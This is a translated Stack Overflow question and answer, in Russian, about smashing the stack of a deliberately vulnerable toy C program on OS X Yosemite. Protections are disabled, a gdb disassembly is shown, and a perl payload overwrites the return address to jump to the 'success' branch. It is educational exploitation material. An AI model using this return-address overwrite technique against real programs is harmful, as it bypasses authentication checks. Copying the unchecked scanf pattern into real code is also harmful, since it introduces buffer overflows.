Разрушение стека на OS X Yosemite?

Мне трудно понять, как отключить защиту стека в OS X 10.10.5 (Yosemite). Я как бы собирал многообещающие флаги gcc из различных потоков в Интернете, но пока не смог отключить защиту. В настоящее время я компилирую свою программу с помощью:

gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -fno-sanitize=address -D_FORTIFY_SOURCE=0 -Wl,-no_pie -o program program.c

Но когда я пытаюсь разбить стек, я ошибаюсь.

Я попробовал ту же программу на Red Hat Enterprise Linux Server 7.2 (Maipo), и после корректировки различий адресов памяти, где это уместно, у меня не было проблем с разрушением стека после компиляции с помощью:

gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -o program program.c

Также, вероятно, стоит отметить, что, как и на большинстве компьютеров Mac, gcc на моей машине является символической ссылкой на clang (версия Apple LLVM 7.0.0 (clang-700.0.72)).

Как я могу отключить защиту стека Yosemite?


дополнительные детали

Фиктивная программа, с которой я работаю:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int authenticate() {
  char password[10];
  printf("Enter password: ");
  scanf("%s", password);
  return strcmp(password, "1234567890") == 0;
}

void success() {
  printf("Access granted\n");
  exit(0);
}

void failure() {
  printf("Access denied\n");
  exit(1);
}

int main(int argc, char** argv) {
  if (authenticate()) {
    success();
  } else {
    failure();
  }
}

Когда я запускаю otool -tv program, я отмечаю следующее:

Подпрограмма success, к которой я хочу перейти, находится по адресу 0x00001e70.

Инструкция, к которой мы обычно возвращаемся после authenticate, находится по адресу 0x00001efe.

Когда я запускаю gdb после ввода фиктивного пароля «xxxxxxxxxx» и проверки буфера с помощью x/30xb &password, я наблюдаю:

0xbffffc32: 0x78    0x78    0x78    0x78    0x78    0x78    0x78    0x78
0xbffffc3a: 0x78    0x78    0x00    0x00    0x00    0x00    0x00    0x00
0xbffffc42: 0x00    0x00    0xfc    0xfc    0xff    0xbf    0x68    0xfc
0xbffffc4a: 0xff    0xbf    0xfe    0x1e    0x00    0x00

Мы хотим заменить 27-й 0xfe байт на 0x70.

Когда я пытаюсь разбить стек следующим образом:

printf "xxxxxxxxxxxxxxxxxxxxxxxxxx\x70" | ./program # 26 bytes of junk, followed by 0x70

Я получаю segfault.


person Kvass    schedule 21.04.2016    source источник
comment
Вы пробовали проверять стек в отладчике?   -  person Alex Reinking    schedule 21.04.2016
comment
Добавлена ​​соответствующая отладочная информация   -  person Kvass    schedule 21.04.2016


Ответы (1)


OS X ABI требует, чтобы системные вызовы (такие как вызов exit в success) выполнялись из стека, выровненного по 16 байтам. Когда вы переходите к успеху, вы получаете 4 байта, потому что у него нет другого адреса возврата, находящегося в стеке (т.е. вы должны call выполнить функцию)

Исправление для этого состоит в том, чтобы перейти к вызову success в более высоком кадре стека. Переход к основному работает для меня:

(gdb) disas main
Dump of assembler code for function main:
   0x00001ed0 <+0>: push   %ebp
   0x00001ed1 <+1>: mov    %esp,%ebp
   0x00001ed3 <+3>: sub    $0x18,%esp
   0x00001ed6 <+6>: mov    0xc(%ebp),%eax
   0x00001ed9 <+9>: mov    0x8(%ebp),%ecx
   0x00001edc <+12>:   movl   $0x0,-0x4(%ebp)
   0x00001ee3 <+19>:   mov    %ecx,-0x8(%ebp)
   0x00001ee6 <+22>:   mov    %eax,-0xc(%ebp)
   0x00001ee9 <+25>:   call   0x1df0 <authenticate>
   0x00001eee <+30>:   cmp    $0x0,%eax
   0x00001ef1 <+33>:   je     0x1f01 <main+49>

   0x00001ef7 <+39>:   call   0x1e60 <success>

   0x00001efc <+44>:   jmp    0x1f06 <main+54>
   0x00001f01 <+49>:   call   0x1e90 <failure>
   0x00001f06 <+54>:   mov    -0x4(%ebp),%eax
   0x00001f09 <+57>:   add    $0x18,%esp
   0x00001f0c <+60>:   pop    %ebp
   0x00001f0d <+61>:   ret    

Затем вернитесь к инструкции call 0x1ef7:

$ perl -e 'print "P"x26, "\xf7\x1e"' | ./stack
Enter password: Root access has been granted
$
person Alex Reinking    schedule 21.04.2016